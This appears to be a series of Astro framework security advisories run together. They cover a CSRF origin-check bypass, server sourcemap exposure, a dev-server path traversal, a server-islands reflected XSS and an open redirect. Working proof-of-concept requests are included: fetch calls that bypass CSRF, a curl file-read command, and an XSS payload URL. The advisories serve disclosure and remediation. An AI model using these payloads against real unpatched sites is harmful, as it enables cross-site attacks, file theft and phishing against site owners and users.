export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), });
A request like the following would be blocked if made from a different origin:
js // fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden
However, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the Content-Type
A semicolon-delimited parameter is allowed after the type in Content-Type.
Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.
js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).
Pattern 2: Request without Content-Type header
The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.
js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' });
// Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), });
Impact
Bypass CSRF protection implemented with CSRF middleware.
[!Note] Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
Summary A bug in the build process allows any unauthenticated user to read parts of the server source code.
Details During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder. https://github.com/withastro/astro/blob/176fe9f113fd912f9b61e848b00bbcfecd6d5c2c/packages/astro/src/core/build/static-build.ts#L139
Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.
While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.
PoC Here is one example of an affected open-source website: https://creatorsgarten.org/pages/index.astro.mjs.map
<image width="500" height="263" src="https://github.com/user-attachments/assets/773c5532-87af-42b8-838e-8f5472bf9f68"/>
The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.
<image width="500" height="271" src="https://github.com/user-attachments/assets/7d35d0ca-3a29-4666-be21-cfefe311ac9d"/>
The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro
<image width="500" height="298" src="https://github.com/user-attachments/assets/39e77197-8382-4556-a024-c526dacccc1c"/>
The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link): path:astro.config.mjs @sentry/astro
This vulnerability is the root cause of https://github.com/withastro/astro/issues/12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.
Impact All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.
Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.
The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.
There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .
There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.
- Network attack vector. - Low attack complexity. - No privileges required. - No interaction required from an authorized user. - Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.
Summary A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details - Title: Arbitrary Local File Read in Astro Development Image Endpoint - Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - Component: /packages/astro/src/assets/endpoint/node.ts - Affected Versions: Astro v5.x development builds (confirmed v5.13.3) - Attack Vector: Network (HTTP GET request) - Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.
Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
typescript // Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode }
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC Attack Prerequisites 1. Astro development server must be running (astro dev) 2. The /image endpoint must be accessible to the attacker 3. Target image files must be readable by the Node.js process
Exploit Steps
1. Start Astro Development Server: bash astro dev # Typically runs on http://localhost:4321
2. Craft Malicious Request: http GET /image?href=/[ABSOLUTEPATHTOIMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321
3. Example Attack: bash curl "http://localhost:4321/image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation: - Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg - Response: HTTP 200 OK, Content-Type: image/png - Exfiltration: 303 bytes (100x100 PNG) - File Created: stolen-image.png containing processed system image
Attack Payload: http://localhost:4321/image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response: Status: 200 OK Content-Type: image/png Content-Length: 303
Impact
Confidentiality Impact: HIGH - Scope: Any image file readable by the Node.js process - Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE - The vulnerability only allows reading files, not modification
Availability Impact: NONE - No direct impact on system availability - Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component - File: packages/astro/src/assets/endpoint/node.ts - Function: loadLocalImage() - Lines: Development mode branch (~25-35)
Secondary Components - File: packages/astro/src/assets/endpoint/generic.ts - Impact: Uses different code path, not directly vulnerable - Note: Implements proper remote allowlist validation
Summary After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).
Details Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /server-islands/[name]. These paths can be called via GET or POST and use three parameters:
- e: component to export - p: the transmitted properties, encrypted - s: for the slots
Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.
This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.
How ?
By default, when a call is made to the endpoint /server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.
Upon further investigation, we find that two other values are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:
<img width="804" height="571" alt="image" src="https://github.com/user-attachments/assets/25ea6c16-fc27-477a-a1ad-e5edf0819b31" />
An entire template is created, completely independently, and then returned:
- the absolute path name is sanitized and then injected as the tag name - childSlots, the value provided to the s parameter, is injected as a child
All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.
Proof of concept For our Proof of Concept (PoC), we will use a minimal repository: - Latest Astro version at the time (5.15.6) - Use of Island servers, with a completely empty component, to demonstrate what we explained previously
Download the PoC repository
Access the following URL and note the opening of the popup, demonstrating the reflected XSS:
http://localhost:4321/server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}
<img width="1781" height="529" alt="image" src="https://github.com/user-attachments/assets/92f8134a-d1c7-4d3f-818e-214842c239c8" />
The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :
<img width="3273" height="1840" alt="forrespectedpatron" src="https://github.com/user-attachments/assets/8ac0079a-3dee-49e8-b639-322f77c84b83" />
Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.
Credits - Allam Rachid (zhero;) - Allam Yasser (inzo)
Summary
Following https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.
Details
Astro 5.12.8 fixed a case where https://example.com//astro.build/press would redirect to the external origin //astro.build/press. However, with the Node deployment adapter in standalone mode and trailingSlash set to "always" in the Astro configuration, https://example.com//astro.build/press still redirects to //astro.build/press.
Proof of Concept
1. Create a new minimal Astro project (astro@5.12.8) 2. Configure it to use the Node adapter (@astrojs/node@9.4.0) and force trailing slashes: js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ trailingSlash: 'always', adapter: node({ mode: 'standalone' }), }); 3. Build the site by running astro build. 4. Run the server, e.g. with astro preview. 5. Append //astro.build/press to the preview URL, e.g. <http://localhost:4321//astro.build/press> 6. The site will redirect to the external Astro Build origin.
Example reproduction
1. Open this StackBlitz reproduction. 2. Open the preview in a separate window so the StackBlitz embed doesn't cause security errors. 3. Append //astro.build/press to the preview URL, e.g. https://x.local-corp.webcontainer.io//astro.build/press. 4. See it redirect to the external Astro Build origin.
Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.